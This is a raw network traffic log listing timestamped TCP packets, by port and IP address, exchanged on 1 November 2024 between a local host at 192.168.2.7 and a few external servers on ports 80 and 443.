Nov 1, 2024 12:15:04.568459988 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.568475962 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.568492889 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.568509102 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.568526030 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.568542004 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.568542957 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.568764925 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.587232113 CET	50012	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:04.587287903 CET	443	50012	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:04.587547064 CET	50012	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:04.588699102 CET	50012	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:04.588713884 CET	443	50012	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:04.592009068 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592026949 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592042923 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592083931 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.592370987 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592468023 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592467070 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.592483997 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592499971 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592508078 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.592519999 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592536926 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592566013 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592591047 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592607975 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592642069 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592655897 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.592673063 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.593637943 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.594434023 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.633908987 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.633944988 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.633961916 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.633972883 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.634006977 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.634047985 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634078979 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634110928 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634126902 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634144068 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634160995 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634171963 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.634176970 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634193897 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634211063 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634233952 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.634242058 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634258032 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634273052 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634289980 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634306908 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634325027 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.634331942 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.634363890 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.657658100 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.662554026 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662590027 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662611961 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662643909 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662659883 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662676096 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662695885 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662755966 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662770987 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662786007 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662802935 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662820101 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662928104 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662945032 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662961006 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662980080 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.662995100 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663012028 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663026094 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663028955 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663060904 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663062096 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663088083 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663089991 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663106918 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663129091 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663130045 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663146019 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663161993 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663177967 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663178921 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663197994 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663203001 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663214922 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663239002 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663253069 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663286924 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663296938 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663304090 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663331985 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663387060 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663403034 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663431883 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663446903 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663464069 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663480997 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663495064 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663495064 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663495064 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663496971 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663505077 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663515091 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663535118 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663538933 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663569927 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663579941 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663585901 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663602114 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663619041 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663630962 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663633108 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663650990 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663659096 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663667917 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663685083 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663686037 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663708925 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663717985 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663727999 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663743973 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663758993 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663764000 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663785934 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663800955 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663808107 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663816929 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663834095 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663836002 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663865089 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663877010 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663892984 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663909912 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663927078 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663934946 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663944006 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663959980 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663964987 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.663978100 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.663994074 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664002895 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.664012909 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664030075 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664047003 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664047003 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.664062977 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664078951 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664094925 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664110899 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664129019 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664144039 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664160013 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664175987 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664191961 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664195061 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.664207935 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.664218903 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.664426088 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.670607090 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670641899 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670658112 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670659065 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.670700073 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.670732021 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670747995 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670768023 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670784950 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670789957 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.670818090 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670820951 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.670835972 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670855045 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670871973 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670877934 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.670891047 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670912981 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.670953989 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670968056 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670975924 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670984030 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670991898 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.670999050 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671021938 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671039104 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671042919 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671067953 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671077013 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671092987 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671109915 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671118975 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671140909 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671148062 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671159029 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671175957 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671191931 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671196938 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671209097 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671226978 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671231031 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671268940 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671277046 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671304941 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671338081 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671484947 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671508074 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671540022 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671546936 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671556950 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671574116 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671591043 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671601057 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671614885 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671632051 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671636105 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671648026 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671664953 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671677113 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671680927 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671699047 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671700001 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671716928 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671732903 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671750069 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671750069 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671767950 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671775103 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671787024 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671802044 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671807051 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671823978 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671840906 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671845913 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671858072 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671879053 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671891928 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671907902 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671922922 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671931982 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671941042 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671957016 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671962976 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.671973944 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671989918 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.671994925 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672008991 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672024965 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672027111 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672044039 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672060013 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672075033 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672079086 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672097921 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672101021 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672116995 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672133923 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672142982 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672151089 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672166109 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672168970 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672187090 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672204018 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672211885 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672243118 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672261953 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672277927 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672293901 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672310114 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672316074 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672327995 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672344923 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672350883 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672362089 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672378063 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672385931 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672411919 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672413111 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672445059 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672461987 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672477961 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672482967 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672496080 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672513008 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672528028 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672543049 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672559977 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672576904 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672593117 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672609091 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672626019 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672638893 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672638893 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672641993 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672661066 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672677040 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672687054 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672693968 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672709942 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672719002 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672728062 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672744036 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672753096 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672772884 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672789097 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672804117 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672806025 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672822952 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672832966 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672840118 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672856092 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672863007 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672874928 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672892094 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672894001 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672909975 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672925949 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672939062 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.672944069 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672961950 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.672966003 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.673012018 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.935723066 CET	50013	443	192.168.2.7	34.117.188.166
Nov 1, 2024 12:15:04.935770035 CET	443	50013	34.117.188.166	192.168.2.7
Nov 1, 2024 12:15:04.935951948 CET	50014	80	192.168.2.7	34.107.221.82
Nov 1, 2024 12:15:04.936685085 CET	50015	443	192.168.2.7	34.117.188.166
Nov 1, 2024 12:15:04.936695099 CET	443	50015	34.117.188.166	192.168.2.7
Nov 1, 2024 12:15:04.941184044 CET	80	50014	34.107.221.82	192.168.2.7
Nov 1, 2024 12:15:04.945796967 CET	50013	443	192.168.2.7	34.117.188.166
Nov 1, 2024 12:15:04.945884943 CET	50015	443	192.168.2.7	34.117.188.166
Nov 1, 2024 12:15:04.945888042 CET	50014	80	192.168.2.7	34.107.221.82
Nov 1, 2024 12:15:04.947436094 CET	50013	443	192.168.2.7	34.117.188.166
Nov 1, 2024 12:15:04.947454929 CET	443	50013	34.117.188.166	192.168.2.7
Nov 1, 2024 12:15:04.947552919 CET	50014	80	192.168.2.7	34.107.221.82
Nov 1, 2024 12:15:04.949234962 CET	50015	443	192.168.2.7	34.117.188.166
